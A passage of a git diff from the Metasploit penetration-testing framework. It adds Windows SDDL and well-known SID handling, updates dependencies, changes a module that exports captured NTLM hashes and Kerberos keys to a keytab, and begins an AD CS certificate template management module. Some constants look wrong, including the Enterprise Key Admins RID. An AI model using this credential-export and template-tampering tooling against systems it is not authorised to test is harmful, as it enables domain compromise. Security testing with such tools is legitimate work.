Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS + when 'BG' # SDDL_BUILTIN_GUESTS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_GUESTS + when 'BO' # SDDL_BACKUP_OPERATORS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_BACKUP_OPS + when 'BU' # SDDL_BUILTIN_USERS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_USERS + when 'CA' # SDDL_CERT_SERV_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CERT_ADMINS}" + when 'CD' # SDDL_CERTSVC_DCOM_ACCESS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP}" + when 'CG' # SDDL_CREATOR_GROUP + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_GROUP_SID + when 'CN' # SDDL_CLONEABLE_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS}" + when 'CO' # SDDL_CREATOR_OWNER + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_OWNER_SID + when 'CY' # SDDL_CRYPTO_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_CRYPTO_OPERATORS}" + when 'DA' # SDDL_DOMAIN_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + when 'DC' # SDDL_DOMAIN_COMPUTERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_COMPUTERS}" + when 'DD' # SDDL_DOMAIN_DOMAIN_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CONTROLLERS}" + when 'DG' # SDDL_DOMAIN_GUESTS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_GUESTS}" + when 'DU' # SDDL_DOMAIN_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_USERS}" + when 'EA' # SDDL_ENTERPRISE_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_ADMINS}" + when 'ED' # SDDL_ENTERPRISE_DOMAIN_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_ENTERPRISE_CONTROLLERS_SID}" + when 'EK' # SDDL_ENTERPRISE_KEY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS}" + when 'ER' # SDDL_EVENT_LOG_READERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP}" + when 'ES' # SDDL_RDS_ENDPOINT_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS}" + when 'HA' # SDDL_HYPER_V_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_HYPER_V_ADMINS}" + when 'HI' # SDDL_ML_HIGH + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_HIGH_RID}" + when 'IS' # SDDL_IIS_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_IUSERS}" + when 'IU' # SDDL_INTERACTIVE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_INTERACTIVE_SID + when 'KA' # SDDL_KEY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_KEY_ADMINS}" + when 'LA' # SDDL_LOCAL_ADMIN + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_USER_RID_ADMIN}" + when 'LG' # SDDL_LOCAL_GUEST + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_USER_RID_GUEST}" + when 'LS' # SDDL_LOCAL_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SERVICE_SID + when 'LU' # SDDL_PERFLOG_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_LOGGING_USERS}" + when 'LW' # SDDL_ML_LOW + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_LOW_RID}" + when 'ME' # SDDL_ML_MEDIUM + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_MEDIUM_RID}" + when 'MP' # SDDL_ML_MEDIUM_PLUS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_MEDIUM_PLUS_RID}" + when 'MU' # SDDL_PERFMON_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_MONITORING_USERS}" + when 'NO' # SDDL_NETWORK_CONFIGURATION_OPS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS}" + when 'NS' # SDDL_NETWORK_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_NETWORK_SERVICE_SID + when 'NU' # SDDL_NETWORK + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_NETWORK_SID + when 'OW' # SDDL_OWNER_RIGHTS + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_SID_AUTHORITY}-4" + when 'PA' # SDDL_GROUP_POLICY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_POLICY_ADMINS}" + when 'PO' # SDDL_PRINTER_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_PRINT_OPS}" + when 'PS' # SDDL_PERSONAL_SELF + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_PRINCIPAL_SELF_SID + when 'PU' # SDDL_POWER_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_POWER_USERS}" + when 'RA' # SDDL_RDS_REMOTE_ACCESS_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS}" + when 'RC' # SDDL_RESTRICTED_CODE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_RESTRICTED_CODE_SID + when 'RD' # SDDL_REMOTE_DESKTOP + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS}" + when 'RE' # SDDL_REPLICATOR + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REPLICATOR}" + when 'RM' # SDDL_RMS__SERVICE_OPERATORS + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_BUILTIN_DOMAIN_SID}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS}" + when 'RO' # SDDL_ENTERPRISE_RO_DCs + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS}" + when 'RS' # SDDL_RAS_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RAS_SERVERS}" + when 'RU' # SDDL_ALIAS_PREW2KCOMPACC + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_PREW2KCOMPACCESS}" + when 'SA' # SDDL_SCHEMA_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_SCHEMA_ADMINS}" + when 'SI' # SDDL_ML_SYSTEM + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_SYSTEM_SID + when 'SO' # SDDL_SERVER_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_SYSTEM_OPS}" + when 'SS' # SDDL_SERVICE_ASSERTED + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATION_SERVICE_ASSERTED_SID + when 'SU' # SDDL_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_SERVICE_SID + when 'SY' # SDDL_LOCAL_SYSTEM + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SYSTEM_SID + when 'UD' # SDDL_USER_MODE_DRIVERS + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_USERMODEDRIVERHOST_ID_BASE_SID + when 'WD' # SDDL_EVERYONE + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_WORLD_SID_AUTHORITY}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_WORLD_RID}" + when 'WR' # SDDL_WRITE_RESTRICTED_CODE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_WRITE_RESTRICTED_CODE_SID + when /^S(-\d+)+/ + else + raise RuntimeError, 'SDDL parse error on invalid SID string: ' + sid + end + + + MsDtypSid.new(sid) + end + end + def initialize_shared_instance # define accessor methods for the custom fields to expose the same API as BinData define_field_accessors_for2(:owner_sid) diff --git a/lib/rex/proto/secauthz/well_known_sids.rb b/lib/rex/proto/secauthz/well_known_sids.rb new file mode 100644 index 0000000000000..5ecc2ee711336 --- /dev/null +++ b/lib/rex/proto/secauthz/well_known_sids.rb @@ -0,0 +1,148 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Rex::Proto::Secauthz + module WellKnownSids + + # see: https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids + + SECURITY_NULL_SID_AUTHORITY = 'S-1-0' + SECURITY_WORLD_SID_AUTHORITY = 'S-1-1' + SECURITY_LOCAL_SID_AUTHORITY = 'S-1-2' + SECURITY_CREATOR_SID_AUTHORITY = 'S-1-3' + SECURITY_NT_AUTHORITY = 'S-1-5' + + SECURITY_NULL_RID = 0 + SECURITY_WORLD_RID = 0 + SECURITY_LOCAL_RID = 0 + SECURITY_LOCAL_LOGON_RID = 1 + SECURITY_CREATOR_OWNER_RID = 0 + SECURITY_CREATOR_GROUP_RID = 1 + + SECURITY_CREATOR_OWNER_SID = "#{SECURITY_CREATOR_SID_AUTHORITY}-#{SECURITY_CREATOR_OWNER_RID}" + SECURITY_CREATOR_GROUP_SID = "#{SECURITY_CREATOR_SID_AUTHORITY}-#{SECURITY_CREATOR_GROUP_RID}" + + SECURITY_DIALUP_SID = "#{SECURITY_NT_AUTHORITY}-1" + SECURITY_NETWORK_SID = "#{SECURITY_NT_AUTHORITY}-2" + SECURITY_BATCH_SID = "#{SECURITY_NT_AUTHORITY}-3" + SECURITY_INTERACTIVE_SID = "#{SECURITY_NT_AUTHORITY}-4" + #SECURITY_LOGON_IDS_SID = "#{SECURITY_NT_AUTHORITY}-5-X-Y" + SECURITY_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-6" + SECURITY_ANONYMOUS_LOGON_SID = "#{SECURITY_NT_AUTHORITY}-7" + SECURITY_PROXY_SID = "#{SECURITY_NT_AUTHORITY}-8" + SECURITY_ENTERPRISE_CONTROLLERS_SID = "#{SECURITY_NT_AUTHORITY}-9" + SECURITY_PRINCIPAL_SELF_SID = "#{SECURITY_NT_AUTHORITY}-10" + SECURITY_AUTHENTICATED_USER_SID = "#{SECURITY_NT_AUTHORITY}-11" + SECURITY_RESTRICTED_CODE_SID = "#{SECURITY_NT_AUTHORITY}-12" + SECURITY_TERMINAL_SERVER_SID = "#{SECURITY_NT_AUTHORITY}-13" + SECURITY_LOCAL_SYSTEM_SID = "#{SECURITY_NT_AUTHORITY}-18" + SECURITY_LOCAL_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-19" + SECURITY_NETWORK_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-20" + SECURITY_NT_NON_UNIQUE = "#{SECURITY_NT_AUTHORITY}-21" + SECURITY_BUILTIN_DOMAIN_SID = "#{SECURITY_NT_AUTHORITY}-32" + SECURITY_WRITE_RESTRICTED_CODE_SID = "#{SECURITY_NT_AUTHORITY}-33" + + SECURITY_USERMODEDRIVERHOST_ID_BASE_SID = "#{SECURITY_NT_AUTHORITY}-0" + SECURITY_ALL_APP_PACKAGES = 'S-1-15-2-1' + SECURITY_MANDATORY_SYSTEM_SID = 'S-1-16-16384' + SECURITY_AUTHENTICATION_SERVICE_ASSERTED_SID = "S-1-18-2" + + DOMAIN_USER_RID_ADMIN = 0x000001F4 + DOMAIN_USER_RID_GUEST = 0x000001F5 + DOMAIN_GROUP_RID_ADMINS = 0x00000200 + DOMAIN_GROUP_RID_USERS = 0x00000201 + DOMAIN_GROUP_RID_GUESTS = 0x00000202 + DOMAIN_GROUP_RID_COMPUTERS = 0x00000203 + DOMAIN_GROUP_RID_CONTROLLERS = 0x00000204 + DOMAIN_GROUP_RID_CERT_ADMINS = 0x00000205 + DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS = 0x000001F2 + DOMAIN_GROUP_RID_SCHEMA_ADMINS = 0x00000206 + DOMAIN_GROUP_RID_ENTERPRISE_ADMINS = 0x00000207 + DOMAIN_GROUP_RID_POLICY_ADMINS = 0x00000208 + DOMAIN_GROUP_RID_READONLY_CONTROLLERS = 0x00000209 + DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS = 0x0000020A + DOMAIN_GROUP_RID_CDC_RESERVED = 0x0000020C + DOMAIN_GROUP_RID_PROTECTED_USERS = 0x0000020D + DOMAIN_GROUP_RID_KEY_ADMINS = 0x0000020E + DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS = 0x0000020 + + SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000 + SECURITY_MANDATORY_LOW_RID = 0x00001000 + SECURITY_MANDATORY_MEDIUM_RID = 0x00002000 + SECURITY_MANDATORY_MEDIUM_PLUS_RID = SECURITY_MANDATORY_MEDIUM_RID + 0x100 + SECURITY_MANDATORY_HIGH_RID = 0X00003000 + SECURITY_MANDATORY_SYSTEM_RID = 0x00004000 + SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000 + + DOMAIN_ALIAS_RID_ADMINS = 0x00000220 + DOMAIN_ALIAS_RID_USERS = 0x00000221 + DOMAIN_ALIAS_RID_GUESTS = 0x00000222 + DOMAIN_ALIAS_RID_POWER_USERS = 0x00000223 + DOMAIN_ALIAS_RID_ACCOUNT_OPS = 0x00000224 + DOMAIN_ALIAS_RID_SYSTEM_OPS = 0x00000225 + DOMAIN_ALIAS_RID_PRINT_OPS = 0x00000226 + DOMAIN_ALIAS_RID_BACKUP_OPS = 0x00000227 + DOMAIN_ALIAS_RID_REPLICATOR = 0x00000228 + DOMAIN_ALIAS_RID_RAS_SERVERS = 0x00000229 + DOMAIN_ALIAS_RID_PREW2KCOMPACCESS = 0x0000022A + DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS = 0x0000022B + DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS = 0x0000022C + DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS = 0x0000022D + DOMAIN_ALIAS_RID_MONITORING_USERS = 0x0000022E + DOMAIN_ALIAS_RID_LOGGING_USERS = 0x0000022F + DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS = 0x00000230 + DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS = 0x00000231 + DOMAIN_ALIAS_RID_DCOM_USERS = 0x00000232 + DOMAIN_ALIAS_RID_IUSERS = 0X00000238 + DOMAIN_ALIAS_RID_CRYPTO_OPERATORS = 0x00000239 + DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP = 0x0000023B + DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP = 0x0000023C + DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP = 0x0000023D + DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP = 0x0000023E + DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS = 0x0000023F + DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS = 0x00000240 + DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS = 0x00000241 + DOMAIN_ALIAS_RID_HYPER_V_ADMINS = 0x00000242 + DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS = 0x00000243 + DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS = 0x00000244 + DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT = 0x00000245 + DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS = 0x00000246 + DOMAIN_ALIAS_RID_DEVICE_OWNERS = 0x00000247 + + DOMAIN_ALIAS_SID_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ADMINS}" + DOMAIN_ALIAS_SID_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_USERS}" + DOMAIN_ALIAS_SID_GUESTS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_GUESTS}" + DOMAIN_ALIAS_SID_POWER_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_POWER_USERS}" + DOMAIN_ALIAS_SID_ACCOUNT_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ACCOUNT_OPS}" + DOMAIN_ALIAS_SID_SYSTEM_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_SYSTEM_OPS}" + DOMAIN_ALIAS_SID_PRINT_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_PRINT_OPS}" + DOMAIN_ALIAS_SID_BACKUP_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_BACKUP_OPS}" + DOMAIN_ALIAS_SID_REPLICATOR = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REPLICATOR}" + DOMAIN_ALIAS_SID_RAS_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RAS_SERVERS}" + DOMAIN_ALIAS_SID_PREW2KCOMPACCESS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_PREW2KCOMPACCESS}" + DOMAIN_ALIAS_SID_REMOTE_DESKTOP_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS}" + DOMAIN_ALIAS_SID_NETWORK_CONFIGURATION_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS}" + DOMAIN_ALIAS_SID_INCOMING_FOREST_TRUST_BUILDERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS}" + DOMAIN_ALIAS_SID_MONITORING_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_MONITORING_USERS}" + DOMAIN_ALIAS_SID_LOGGING_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_LOGGING_USERS}" + DOMAIN_ALIAS_SID_AUTHORIZATIONACCESS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS}" + DOMAIN_ALIAS_SID_TS_LICENSE_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS}" + DOMAIN_ALIAS_SID_DCOM_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DCOM_USERS}" + DOMAIN_ALIAS_SID_IUSERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_IUSERS}" + DOMAIN_ALIAS_SID_CRYPTO_OPERATORS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CRYPTO_OPERATORS}" + DOMAIN_ALIAS_SID_CACHEABLE_PRINCIPALS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP}" + DOMAIN_ALIAS_SID_NON_CACHEABLE_PRINCIPALS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP}" + DOMAIN_ALIAS_SID_EVENT_LOG_READERS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP}" + DOMAIN_ALIAS_SID_CERTSVC_DCOM_ACCESS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP}" + DOMAIN_ALIAS_SID_RDS_REMOTE_ACCESS_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS}" + DOMAIN_ALIAS_SID_RDS_ENDPOINT_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS}" + DOMAIN_ALIAS_SID_RDS_MANAGEMENT_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS}" + DOMAIN_ALIAS_SID_HYPER_V_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_HYPER_V_ADMINS}" + DOMAIN_ALIAS_SID_ACCESS_CONTROL_ASSISTANCE_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS}" + DOMAIN_ALIAS_SID_REMOTE_MANAGEMENT_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS}" + DOMAIN_ALIAS_SID_DEFAULT_ACCOUNT = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT}" + DOMAIN_ALIAS_SID_STORAGE_REPLICA_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS}" + DOMAIN_ALIAS_SID_DEVICE_OWNERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DEVICE_OWNERS}" + + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 7cb8e2a64d350..1bb5f50c0fc6b 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -28,7 +28,7 @@ Gem::Specification.new do |spec| # only do a git ls-files if the .git folder exists and we have a git binary in PATH if File.directory?(File.join(File.dirname(__FILE__), ".git")) && Msf::Util::Helper.which("git") spec.files = `git ls-files`.split($/).reject { |file| - file =~ /^external|^docs/ + file =~ /^external|^docs|^\.solargraph\.yml/ } end spec.bindir = '.' @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.130' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.141' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components @@ -83,7 +83,8 @@ Gem::Specification.new do |spec| # NTLM authentication spec.add_runtime_dependency 'rubyntlm' # Needed by anemone crawler - spec.add_runtime_dependency 'nokogiri' + # Locked until build env can handle newer version due to native compile issue in 1.15.x + spec.add_runtime_dependency 'nokogiri', '~> 1.14.0' # Needed by db.rb and Msf::Exploit::Capture spec.add_runtime_dependency 'packetfu' # For sniffer and raw socket modules @@ -219,6 +220,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'aws-sdk-s3' spec.add_runtime_dependency 'aws-sdk-ec2' spec.add_runtime_dependency 'aws-sdk-iam' + spec.add_runtime_dependency 'aws-sdk-ssm' # Needed for WebSocket Support spec.add_runtime_dependency 'faye-websocket' diff --git a/modules/auxiliary/admin/kerberos/keytab.rb b/modules/auxiliary/admin/kerberos/keytab.rb index 2658866ed13b8..ca9cb32933c8f 100644 --- a/modules/auxiliary/admin/kerberos/keytab.rb +++ b/modules/auxiliary/admin/kerberos/keytab.rb @@ -89,43 +89,49 @@ def export_keytab_entries # Kerberos encryption keys, most likely extracted from running secrets dump kerberos_key_creds = framework.db.creds(type: 'Metasploit::Credential::KrbEncKey') keytab_entries = kerberos_key_creds.map do |cred| - { - realm: cred.realm.value, - components: cred.public.username.split('/'), - name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, - timestamp: Time.at(0).utc, - vno8: datastore['KVNO'], - vno: datastore['KVNO'], - keyblock: { - enctype: cred.private.enctype, - data: cred.private.key + [ + cred.id, + { + realm: cred.realm.value, + components: cred.public.username.split('/'), + name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, + timestamp: Time.at(0).utc, + vno8: datastore['KVNO'], + vno: datastore['KVNO'], + keyblock: { + enctype: cred.private.enctype, + data: cred.private.key + } } - } + ] end # Additionally append NTHASH values, which don't require a salt nthash_creds = framework.db.creds(type: 'Metasploit::Credential::NTLMHash') keytab_entries += nthash_creds.map do |cred| nthash = cred.private.to_s.split(':').last - { - realm: cred.realm&.value.to_s, - components: cred.public.username.split('/'), - name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, - timestamp: Time.at(0).utc, - vno8: datastore['KVNO'], - vno: datastore['KVNO'], - keyblock: { - enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC, - data: [nthash].pack('H*') + [ + cred.id, + { + realm: cred.realm&.value.to_s, + components: cred.public.username.split('/'), + name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, + timestamp: Time.at(0).utc, + vno8: datastore['KVNO'], + vno: datastore['KVNO'], + keyblock: { + enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC, + data: [nthash].pack('H*') + } } - } + ] end if keytab_entries.empty? print_status('No entries to export') end - keytab.key_entries.concat(keytab_entries) + keytab.key_entries.concat(keytab_entries.sort_by { |id, _entry| id }.to_h.values) write_keytab(keytab_path, keytab) end diff --git a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb new file mode 100644 index 0000000000000..f574a72bf0a54 --- /dev/null +++ b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb @@ -0,0 +1,434 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::LDAP + include Msf::Auxiliary::Report + + IGNORED_ATTRIBUTES = [ + 'dn', + 'distinguishedName', + 'objectClass', + 'cn', + 'whenCreated', + 'whenChanged', + 'name', + 'objectGUID', + 'objectCategory', + 'dSCorePropagationData', + 'msPKI-Cert-Template-OID', + 'uSNCreated', + 'uSNChanged', + 'displayName', + 'instanceType', + 'revision', + 'msPKI-Template-Schema-Version', + 'msPKI-Template-Minor-Revision', + ].freeze + + # LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID + LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze + OWNER_SECURITY_INFORMATION = 0x1 + GROUP_SECURITY_INFORMATION = 0x2 + DACL_SECURITY_INFORMATION = 0x4 + SACL_SECURITY_INFORMATION = 0x8 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'AD CS Certificate Template Management', + 'Description' => %q{ + This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain + Controller. + + The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be + restored using the CREATE or UPDATE actions. + }, + 'Author' => [ + 'Will Schroeder', # original idea/research + 'Lee Christensen', # original idea/research + 'Oliver Lyak', # certipy implementation + 'Spencer McIntyre' + ], + 'References' => [ + [ 'URL', 'https://github.com/GhostPack/Certify' ], + [ 'URL', 'https://github.com/ly4k/Certipy' ] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['CREATE', { 'Description' => 